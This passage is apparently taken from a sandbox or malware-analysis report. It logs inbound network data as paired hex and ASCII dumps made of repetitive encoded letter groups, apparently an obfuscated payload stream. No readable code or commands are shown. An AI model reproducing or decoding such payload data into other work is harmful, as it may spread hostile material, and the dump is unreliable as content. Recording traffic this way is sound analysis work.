20 4f 20 4f 20 70 71 20 71 4f 4f 20 71 57 45 20 70 45 20 70 71 Data Ascii: pq MM qWE pE pq qD pq DM qWE pE pJ qW O O O pq ME qWE pE pJ qW O O O pq qOO qWE pE pJ qW O O O pq WJ qWE pE pJ qW O O O pq WJ qWE pE pq qW pq ED qWE pE pJ qm O O O pq MM qWE pE pJ qm O O O pq MM qWE pE pJ qm O O O pq WE qWE pE pJ qm O O O pq qOO qWE pE pq
2021-10-29 18:29:49 UTC	455	IN	Data Raw: 20 71 57 45 20 70 45 20 70 71 20 4a 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 71 4d 20 4f 20 4f 20 4f 20 70 71 20 6d 4d 20 71 57 45 20 70 45 20 70 4a 20 71 4d 20 4f 20 4f 20 4f 20 70 71 20 6d 58 20 71 57 45 20 70 45 20 70 4a 20 71 4d 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70 45 20 70 4a 20 71 4d 20 4f 20 4f 20 4f 20 70 71 20 57 57 20 71 57 45 20 70 45 20 70 71 20 71 4d 20 70 71 20 71 4f 4d 20 71 57 45 20 70 45 20 70 4a 20 71 58 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70 45 20 70 4a 20 71 58 20 4f 20 4f 20 4f 20 70 71 20 4d 4d 20 71 57 45 20 70 45 20 70 4a 20 71 58 20 4f 20 4f 20 4f 20 70 71 20 4d 45 20 71 57 45 20 70 45 20 70 4a 20 71 58 20 4f 20 4f 20 4f 20 70 71 20 57 4f 20 71 57 45 20 70 45 20 70 71 20 71 58 20 70 Data Ascii: qWE pE pq JO pq qOq qWE pE pJ qM O O O pq mM qWE pE pJ qM O O O pq mX qWE pE pJ qM O O O pq Wm qWE pE pJ qM O O O pq WW qWE pE pq qM pq qOM qWE pE pJ qX O O O pq Wm qWE pE pJ qX O O O pq MM qWE pE pJ qX O O O pq ME qWE pE pJ qX O O O pq WO qWE pE pq qX p
2021-10-29 18:29:49 UTC	471	IN	Data Raw: 20 70 45 20 70 4a 20 4f 20 4f 20 4f 20 4f 20 70 71 20 57 71 20 71 57 45 20 70 45 20 4a 4a 20 70 71 20 45 70 20 71 57 45 20 71 71 57 20 71 58 45 20 4f 20 4f 20 71 4f 20 6d 4a 20 71 4d 20 6d 58 20 6d 20 4f 20 4a 57 4a 20 71 20 4f 20 4f 20 70 20 4f 20 4f 20 71 45 20 70 71 20 71 4a 20 71 6d 71 20 71 70 44 20 4f 20 4f 20 71 20 70 45 20 70 4a 20 71 71 20 4f 20 4f 20 4f 20 70 71 20 6d 4d 20 71 57 45 20 70 45 20 70 4a 20 71 71 20 4f 20 4f 20 4f 20 70 71 20 71 4f 71 20 71 57 45 20 70 45 20 70 4a 20 71 71 20 4f 20 4f 20 4f 20 70 71 20 6d 58 20 71 57 45 20 70 45 20 70 4a 20 71 71 20 4f 20 4f 20 4f 20 70 71 20 57 6d 20 71 57 45 20 70 45 20 70 71 20 71 71 20 70 71 20 71 4f 58 20 71 57 45 20 70 45 20 70 4a 20 71 4f 20 4f 20 4f 20 4f 20 70 71 20 57 4a 20 71 57 45 20 70 Data Ascii: pE pJ O O O O pq Wq qWE pE JJ pq Ep qWE qqW qXE O O qO mJ qM mX m O JWJ q O O p O O qE pq qJ qmq qpD O O q pE pJ qq O O O pq mM qWE pE pJ qq O O O pq qOq qWE pE pJ qq O O O pq mX qWE pE pJ qq O O O pq Wm qWE pE pq qq pq qOX qWE pE pJ qO O O O pq WJ qWE p
2021-10-29 18:29:49 UTC	487	IN	Data Raw: 4a 58 20 57 58 20 70 70 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 4f 4d 20 71 4d 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 4a 58 20 70 71 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 4a 71 20 71 4d 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 4d 4d 20 71 57 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 57 70 20 4a 57 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 58 6d 20 45 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 71 71 20 70 70 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 57 6d 20 70 44 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 70 58 20 70 4d 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 4d 20 71 44 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 4a 4f 6d 20 6d 4f 20 71 57 57 20 71 20 58 44 20 71 4a 58 20 71 4f 20 70 20 71 57 57 20 71 20 58 44 20 71 4a Data Ascii: JX WX pp qWW q XD qJX JOM qM qWW q XD qJX JJX pq qWW q XD qJX qJq qM qWW q XD qJX qMM qW qWW q XD qJX JWp JW qWW q XD qJX qXm E qWW q XD qJX Jqq pp qWW q XD qJX Wm pD qWW q XD qJX qpX pM qWW q XD qJX JM qD qWW q XD qJX JOm mO qWW q XD qJX qO p qWW q XD qJ
2021-10-29 18:29:49 UTC	503	IN	Data Raw: 20 70 20 58 57 20 57 20 4d 20 4f 20 4a 4a 4f 20 70 20 4d 4f 20 57 20 4d 20 4f 20 4a 4a 6d 20 70 20 4d 57 20 57 20 4d 20 4f 20 4a 4a 58 20 70 20 71 4f 4f 20 57 20 4d 20 4f 20 4a 70 4a 20 70 20 71 4f 57 20 57 20 4d 20 4f 20 4a 70 44 20 70 20 71 71 4f 20 57 20 4d 20 4f 20 4a 6d 4f 20 70 20 71 71 57 20 57 20 4d 20 4f 20 4a 6d 6d 20 70 20 71 4a 4f 20 57 20 4d 20 4f 20 4a 6d 58 20 70 20 71 4a 57 20 57 20 4d 20 4f 20 4a 57 4a 20 70 20 71 70 4f 20 57 20 4d 20 4f 20 4f 20 6d 20 71 70 57 20 57 20 4d 20 4f 20 6d 20 6d 20 71 6d 4f 20 57 20 4d 20 4f 20 58 20 6d 20 71 6d 57 20 57 20 4d 20 4f 20 71 4a 20 6d 20 71 57 4f 20 57 20 4d 20 4f 20 71 44 20 6d 20 71 57 57 20 57 20 4d 20 4f 20 4a 4f 20 6d 20 71 44 4f 20 57 20 4d 20 4f 20 4a 6d 20 6d 20 71 44 57 20 57 20 4d 20 4f Data Ascii: p XW W M O JJO p MO W M O JJm p MW W M O JJX p qOO W M O JpJ p qOW W M O JpD p qqO W M O JmO p qqW W M O Jmm p qJO W M O JmX p qJW W M O JWJ p qpO W M O O m qpW W M O m m qmO W M O X m qmW W M O qJ m qWO W M O qD m qWW W M O JO m qDO W M O Jm m qDW W M O
2021-10-29 18:29:49 UTC	519	IN	Data Raw: 71 20 4f 20 4d 45 20 71 71 58 20 71 4f 71 20 71 71 4f 20 71 71 45 20 71 4f 71 20 4f 20 58 4a 20 71 4f 71 20 71 71 4a 20 4d 45 20 71 71 58 20 71 4f 71 20 4f 20 71 4f 4f 20 71 4f 57 20 71 71 57 20 4d 45 20 71 4f 70 20 71 4f 70 20 71 71 6d 20 71 4f 71 20 71 4f 70 20 4d 45 20 71 71 44 20 71 4f 57 20 71 71 58 20 71 4f 71 20 4f 20 71 4f 70 20 71 4f 71 20 71 71 44 20 4d 57 20 45 70 20 71 71 57 20 58 4f 20 71 71 6d 20 71 4f 57 20 71 4f 4d 20 71 4f 57 20 71 71 44 20 71 4f 57 20 71 71 58 20 71 4f 71 20 4f 20 4d 57 20 4d 57 20 4d 57 20 45 58 20 71 71 71 20 71 71 4f 20 4d 45 20 71 71 57 20 71 71 57 20 71 4f 71 20 71 71 6d 20 71 71 44 20 71 4f 57 20 71 71 58 20 71 4f 71 20 4f 20 71 4f 6d 20 71 4f 71 20 4d 45 20 71 71 58 20 71 4f 57 20 71 4f 71 20 71 71 6d 20 6d 44 20 Data Ascii: q O ME qqX qOq qqO qqE qOq O XJ qOq qqJ ME qqX qOq O qOO qOW qqW ME qOp qOp qqm qOq qOp ME qqD qOW qqX qOq O qOp qOq qqD MW Ep qqW XO qqm qOW qOM qOW qqD qOW qqX qOq O MW MW MW EX qqq qqO ME qqW qqW qOq qqm qqD qOW qqX qOq O qOm qOq ME qqX qOW qOq qqm mD
2021-10-29 18:29:49 UTC	535	IN	Data Raw: 4f 20 4d 58 20 71 71 45 20 71 71 57 20 71 4f 6d 20 71 4f 71 20 71 71 57 20 4f 20 71 4f 57 20 71 71 4f 20 4d 45 20 4d 4d 20 4d 4d 20 71 71 45 20 71 71 6d 20 4d 45 20 4d 4d 20 71 4f 57 20 71 4f 71 20 71 71 57 20 4f 20 71 4f 4a 20 71 71 71 20 71 71 6d 20 71 4f 71 20 4d 4d 20 4d 45 20 71 4f 4f 20 71 4f 4f 20 71 4f 57 20 71 4f 71 20 71 71 57 20 4f 20 45 70 20 71 4f 4f 20 71 4f 71 20 71 71 4f 20 71 71 44 20 71 4f 57 20 71 4f 4a 20 71 4f 57 20 71 4f 71 20 71 71 57 20 4f 20 58 4f 20 71 4f 71 20 71 71 4f 20 71 71 44 20 4d 45 20 71 71 6d 20 4d 4d 20 71 4f 6d 20 71 4f 57 20 71 4f 71 20 71 71 57 20 4f 20 71 4f 4f 20 71 4a 71 20 71 71 57 20 71 71 44 20 71 71 6d 20 71 71 71 20 71 71 4a 20 71 4f 6d 20 71 4f 57 20 71 4f 71 20 71 71 57 20 4f 20 71 71 57 20 71 4a 71 20 71 Data Ascii: O MX qqE qqW qOm qOq qqW O qOW qqO ME MM MM qqE qqm ME MM qOW qOq qqW O qOJ qqq qqm qOq MM ME qOO qOO qOW qOq qqW O Ep qOO qOq qqO qqD qOW qOJ qOW qOq qqW O XO qOq qqO qqD ME qqm MM qOm qOW qOq qqW O qOO qJq qqW qqD qqm qqq qqJ qOm qOW qOq qqW O qqW qJq q
2021-10-29 18:29:49 UTC	551	IN	Data Raw: 4d 4d 20 4f 20 71 4a 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 4d 4d 20 4f 20 71 4f 4d 20 4f 20 57 45 20 4f 20 71 71 4f 20 4f 20 4d 4d 20 4f 20 71 4f 4d 20 4f 20 45 4f 20 4f 20 71 71 44 20 4f 20 45 70 20 4f 20 45 71 20 4f 20 45 58 20 4f 20 71 4f 6d 20 4f 20 4d 58 20 4f 20 71 4f 4d 20 4f 20 57 70 20 4f 20 71 71 58 20 4f 20 71 4f 4f 20 4f 20 44 45 20 4f 20 44 44 20 4f 20 71 4f 57 20 4f 20 4d 4f 20 4f 20 58 70 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 71 4f 4f 20 4f 20 58 45 20 4f 20 57 4a 20 4f 20 71 4f 70 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 57 4a 20 4f 20 71 4f 70 20 4f 20 58 4a 20 4f 20 44 4d 20 4f 20 57 45 20 4f 20 58 6d 20 4f 20 45 70 20 4f 20 45 71 20 4f 20 6d 4d 20 4f 20 71 71 58 20 4f 20 4d 4f 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 71 71 45 20 Data Ascii: MM O qJq O DD O qqM O MM O qOM O WE O qqO O MM O qOM O EO O qqD O Ep O Eq O EX O qOm O MX O qOM O Wp O qqX O qOO O DE O DD O qOW O MO O Xp O DD O qJq O qOO O XE O WJ O qOp O ME O XE O WJ O qOp O XJ O DM O WE O Xm O Ep O Eq O mM O qqX O MO O Eq O XW O qqE
2021-10-29 18:29:49 UTC	567	IN	Data Raw: 4f 20 45 4d 20 4f 20 57 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 4f 20 4f 20 71 71 4d 20 4f 20 45 4f 20 4f 20 71 4f 58 20 4f 20 4d 4f 20 4f 20 71 4f 4a 20 4f 20 71 4f 4d 20 4f 20 71 71 4f 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 71 4f 71 20 4f 20 71 4a 71 20 4f 20 45 58 20 4f 20 71 4f 4a 20 4f 20 71 4f 4f 20 4f 20 71 4f 44 20 4f 20 71 71 71 20 4f 20 58 70 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 71 71 44 20 4f 20 45 4f 20 4f 20 57 6d 20 4f 20 45 70 20 4f 20 58 58 20 4f 20 44 57 20 4f 20 71 4a 4f 20 4f 20 6d 58 20 4f 20 58 58 20 4f 20 71 71 4d 20 4f 20 57 6d 20 4f 20 45 45 20 4f 20 58 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 71 Data Ascii: O EM O WD O qJq O DW O DW O DE O EO O qqM O EO O qOX O MO O qOJ O qOM O qqO O mE O qOO O qOq O qJq O EX O qOJ O qOO O qOD O qqq O Xp O qOE O DW O DW O DW O Ep O qqD O EO O Wm O Ep O XX O DW O qJO O mX O XX O qqM O Wm O EE O XJ O DW O DW O EJ O Xq O DX O q
2021-10-29 18:29:49 UTC	583	IN	Data Raw: 70 20 4f 20 71 71 44 20 4f 20 45 4f 20 4f 20 6d 45 20 4f 20 45 70 20 4f 20 71 71 44 20 4f 20 45 58 20 4f 20 44 4d 20 4f 20 45 70 20 4f 20 71 4f 45 20 4f 20 44 44 20 4f 20 71 4f 57 20 4f 20 6d 45 20 4f 20 58 4f 20 4f 20 71 71 6d 20 4f 20 44 45 20 4f 20 58 4f 20 4f 20 57 44 20 4f 20 58 44 20 4f 20 71 71 70 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 71 71 58 20 4f 20 71 71 4d 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 57 20 4f 20 45 45 20 4f 20 6d 45 20 4f 20 71 4a 4f 20 4f 20 58 45 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 6d 20 4f 20 71 71 4d 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 45 4f 20 4f 20 4d 45 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 Data Ascii: p O qqD O EO O mE O Ep O qqD O EX O DM O Ep O qOE O DD O qOW O mE O XO O qqm O DE O XO O WD O XD O qqp O EE O DD O DW O DW O Ep O qqX O qqM O mE O Wq O XW O EE O mE O qJO O XE O XW O qqM O DM O DW O DW O Wm O qqM O qOD O mE O EO O ME O qOD O DW O Xq O DW
2021-10-29 18:29:49 UTC	599	IN	Data Raw: 57 20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 6d 4d 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 44 20 4f 20 58 58 20 4f 20 58 45 20 4f 20 71 71 71 20 4f 20 57 6d 20 4f 20 45 44 20 4f 20 71 4f 70 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4a 4a 20 4f 20 57 4f 20 4f 20 57 4a 20 4f 20 71 71 44 20 4f 20 6d 4d 20 4f 20 44 58 20 4f 20 45 70 20 4f 20 71 71 44 20 4f 20 57 45 20 4f 20 44 45 20 4f 20 45 4d 20 4f 20 71 71 57 20 4f 20 58 57 20 4f 20 4d 4f 20 4f 20 71 4f 44 20 4f 20 71 4f 45 20 4f 20 71 4f 4a 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 58 58 20 4f 20 57 6d 20 Data Ascii: W O Ep O WO O mM O Ep O XO O mE O mE O mE O mp O qOD O DW O ED O DW O DW O DW O qOD O XX O XE O qqq O Wm O ED O qOp O qqW O DW O DW O DW O qJJ O WO O WJ O qqD O mM O DX O Ep O qqD O WE O DE O EM O qqW O XW O MO O qOD O qOE O qOJ O qOO O DW O EX O XX O Wm
2021-10-29 18:29:49 UTC	615	IN	Data Raw: 44 20 4f 20 6d 70 20 4f 20 58 4d 20 4f 20 45 58 20 4f 20 6d 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 45 4a 20 4f 20 71 71 58 20 4f 20 57 45 20 4f 20 6d 58 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 71 4f 44 20 4f 20 71 71 71 20 4f 20 45 44 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 58 58 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 44 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 58 4a 20 4f 20 71 71 4d 20 4f 20 71 4a 4f 20 4f 20 58 71 20 4f 20 57 6d 20 4f 20 45 45 20 4f 20 71 71 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 4d 4f 20 4f 20 71 4f 57 20 4f 20 6d 58 20 4f 20 71 71 4d 20 4f 20 71 4f 45 20 4f 20 44 58 20 4f 20 45 71 20 4f 20 4d 45 20 4f 20 45 6d 20 4f 20 44 Data Ascii: D O mp O XM O EX O mE O DD O DW O DD O mM O EJ O qqX O WE O mX O Em O DW O qOD O qqq O ED O XO O mE O mE O mE O WJ O XX O DW O qOO O DD O EJ O mE O XJ O qqM O qJO O Xq O Wm O EE O qqp O DW O DW O DW O DD O MO O qOW O mX O qqM O qOE O DX O Eq O ME O Em O D
2021-10-29 18:29:49 UTC	631	IN	Data Raw: 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 58 70 20 4f 20 45 44 20 4f 20 57 44 20 4f 20 6d 70 20 4f 20 71 4f 57 20 4f 20 44 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 6d 20 4f 20 71 71 4d 20 4f 20 58 70 20 4f 20 45 44 20 4f 20 58 58 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 57 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 71 4f 44 20 4f 20 71 71 71 20 4f 20 6d 4d 20 4f 20 6d 45 20 4f 20 45 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 57 45 20 4f 20 71 Data Ascii: O DW O qOW O WD O qqX O mE O XW O DW O Xp O ED O WD O mp O qOW O DE O DD O DW O DW O DW O Wm O qqM O Xp O ED O XX O DE O Xq O EE O mE O Wq O XW O Xq O qOW O WD O qqX O mE O qOO O Xq O qJJ O mE O qOO O Xq O qOD O qqq O mM O mE O ED O mE O mE O mM O WE O q
2021-10-29 18:29:49 UTC	647	IN	Data Raw: 71 4a 4f 20 4f 20 6d 70 20 4f 20 71 4f 57 20 4f 20 57 6d 20 4f 20 57 6d 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 57 20 4f 20 6d 4d 20 4f 20 45 58 20 4f 20 58 6d 20 4f 20 58 44 20 4f 20 71 4f 4d 20 4f 20 71 4f 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 58 20 4f 20 57 44 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 71 4f 4a 20 4f 20 71 71 71 20 4f 20 71 71 4a 20 4f 20 6d 70 20 4f 20 71 71 6d 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 45 58 20 4f 20 58 45 20 4f 20 58 57 20 4f 20 6d 4d 20 4f 20 45 58 20 4f 20 71 71 71 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 57 45 20 4f 20 6d 4d 20 4f 20 6d 45 Data Ascii: qJO O mp O qOW O Wm O Wm O qqX O mE O mE O XW O mM O EX O Xm O XD O qOM O qOD O qJJ O DW O qqM O DW O DW O mE O Wq O XX O WD O qOW O WD O qOJ O qqq O qqJ O mp O qqm O mE O mE O mM O EX O XE O XW O mM O EX O qqq O DD O DW O Xq O DW O DW O XO O WE O mM O mE
2021-10-29 18:29:49 UTC	663	IN	Data Raw: 20 4f 20 58 4a 20 4f 20 71 4f 4a 20 4f 20 71 4f 44 20 4f 20 71 4f 4a 20 4f 20 71 4f 4a 20 4f 20 71 4f 4a 20 4f 20 71 4f 57 20 4f 20 45 44 20 4f 20 58 4a 20 4f 20 71 4f 4a 20 4f 20 71 4f 44 20 4f 20 45 6d 20 4f 20 71 71 4d 20 4f 20 6d 4d 20 4f 20 58 45 20 4f 20 45 44 20 4f 20 57 57 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 71 4f 45 20 4f 20 6d 70 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 71 71 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 45 58 20 4f 20 6d 4d 20 4f 20 44 44 20 4f 20 57 4a 20 4f 20 71 71 57 20 4f 20 45 71 20 4f 20 57 6d 20 4f 20 71 4f 4a 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 4d 58 20 4f 20 58 4a 20 4f 20 58 71 20 4f 20 71 4f 57 20 4f 20 45 58 Data Ascii: O XJ O qOJ O qOD O qOJ O qOJ O qOJ O qOW O ED O XJ O qOJ O qOD O Em O qqM O mM O XE O ED O WW O Ep O XO O qOE O mp O Ep O XO O qqW O EJ O Ep O XO O mE O DW O XD O EX O mM O DD O WJ O qqW O Eq O Wm O qOJ O qOp O DW O DW O DW O DX O MX O XJ O Xq O qOW O EX
2021-10-29 18:29:49 UTC	679	IN	Data Raw: 20 4f 20 45 4f 20 4f 20 45 4f 20 4f 20 71 71 70 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 4d 20 4f 20 71 4f 57 20 4f 20 58 70 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 45 20 4f 20 58 4d 20 4f 20 58 58 20 4f 20 57 4f 20 4f 20 58 45 20 4f 20 58 58 20 4f 20 58 57 20 4f 20 45 6d 20 4f 20 71 4f 57 20 4f 20 71 4a 4a 20 4f 20 6d 70 20 4f 20 45 4f 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 4d 4f 20 4f 20 71 4f 57 20 4f 20 44 4d 20 4f 20 57 71 20 4f 20 58 58 20 4f 20 6d 4d 20 4f 20 57 57 20 4f 20 44 58 20 4f 20 71 4f 70 20 4f 20 57 71 20 4f 20 57 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 45 58 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 Data Ascii: O EO O EO O qqp O DW O qqq O XO O DW O DE O EM O qOW O Xp O WD O mE O mE O mE O XE O XM O XX O WO O XE O XX O XW O Em O qOW O qJJ O mp O EO O mE O Wq O Xq O DX O MO O qOW O DM O Wq O XX O mM O WW O DX O qOp O Wq O WJ O Xq O DW O EJ O Xq O EX O mE O Wq O
2021-10-29 18:29:49 UTC	695	IN	Data Raw: 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 45 20 4f 20 58 44 20 4f 20 71 71 4f 20 4f 20 44 58 20 4f 20 58 44 20 4f 20 58 4d 20 4f 20 71 71 58 20 4f 20 71 71 57 20 4f 20 71 4f 70 20 4f 20 6d 70 20 4f 20 71 4a 4f 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 71 71 20 4f 20 45 58 20 4f 20 71 4f 58 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 70 20 4f 20 58 4f 20 4f 20 71 71 71 20 4f 20 6d 4d 20 4f 20 45 4f 20 4f 20 71 71 4d 20 4f 20 71 4f 4d 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 45 4d 20 4f 20 71 4f 70 20 4f 20 4d 58 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 71 4f 70 20 4f 20 71 71 70 20 4f 20 45 58 20 4f 20 58 4a 20 4f 20 4d 4d 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 Data Ascii: O qqM O DW O DW O XE O XD O qqO O DX O XD O XM O qqX O qqW O qOp O mp O qJO O DW O MO O qqq O EX O qOX O qqM O DW O DD O qqp O XO O qqq O mM O EO O qqM O qOM O qqq O DW O XW O EM O qOp O MX O XW O qqM O DW O DW O ME O qOp O qqp O EX O XJ O MM O DD O Xq O
2021-10-29 18:29:49 UTC	711	IN	Data Raw: 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 4d 58 20 4f 20 71 71 71 20 4f 20 4d 58 20 4f 20 58 57 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 4d 20 4f 20 45 44 20 4f 20 71 4a 4a 20 4f 20 6d 4d 20 4f 20 57 57 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 4d 4f 20 4f 20 58 58 20 4f 20 71 4f 57 20 4f 20 6d 45 20 4f 20 44 4d 20 4f 20 71 4a 4a 20 4f 20 6d 45 20 4f 20 71 4a 4a 20 4f 20 71 4f 58 20 4f 20 6d 70 20 4f 20 44 44 20 4f 20 45 4a 20 4f 20 57 4a 20 4f 20 58 4d 20 4f 20 45 4d 20 4f 20 58 58 20 4f 20 57 4a 20 4f 20 6d 58 20 4f 20 71 4f 4a 20 4f 20 71 4f 6d 20 4f 20 45 58 20 4f 20 58 58 20 4f 20 57 6d 20 4f 20 44 45 20 4f 20 71 71 6d 20 4f 20 Data Ascii: O mE O mE O mM O MX O qqq O MX O XW O qqq O DW O DW O EO O qOM O ED O qJJ O mM O WW O qqJ O DW O DW O DW O DW O DW O EO O MO O XX O qOW O mE O DM O qJJ O mE O qJJ O qOX O mp O DD O EJ O WJ O XM O EM O XX O WJ O mX O qOJ O qOm O EX O XX O Wm O DE O qqm O
2021-10-29 18:29:49 UTC	727	IN	Data Raw: 20 71 71 58 20 4f 20 45 4d 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 57 44 20 4f 20 71 4f 6d 20 4f 20 4d 4d 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 45 45 20 4f 20 71 71 58 20 4f 20 57 45 20 4f 20 57 4f 20 4f 20 45 58 20 4f 20 45 4f 20 4f 20 44 45 20 4f 20 45 58 20 4f 20 71 4f 6d 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 6d 70 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20 71 71 71 20 4f 20 6d 45 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 58 20 4f 20 71 71 71 20 4f 20 71 71 6d 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 45 70 20 4f 20 57 4f 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 57 57 20 4f 20 Data Ascii: qqX O EM O mE O mM O DW O WD O qOm O MM O DD O mX O EE O qqX O WE O WO O EX O EO O DE O EX O qOm O Xq O DX O mp O mE O mE O WE O qqq O mE O qqM O DW O DW O DW O EO O DX O qqq O qqm O qOE O DW O DW O DW O Ep O XO O DM O DM O Ep O WO O EO O DW O XO O WW O
2021-10-29 18:29:49 UTC	743	IN	Data Raw: 4f 57 20 4f 20 57 44 20 4f 20 6d 58 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 57 71 20 4f 20 58 57 20 4f 20 45 70 20 4f 20 71 4f 57 20 4f 20 57 44 20 4f 20 71 4f 4a 20 4f 20 71 71 71 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 4d 20 4f 20 71 71 58 20 4f 20 45 6d 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 58 4d 20 4f 20 71 71 58 20 4f 20 71 71 57 20 4f 20 71 4f 70 20 4f 20 6d 70 20 4f 20 58 6d 20 4f 20 57 4a 20 4f 20 58 57 20 4f 20 58 4d 20 4f 20 71 71 44 20 4f 20 45 4f 20 4f 20 44 4d 20 4f 20 45 70 20 4f 20 58 4f 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 71 4f 58 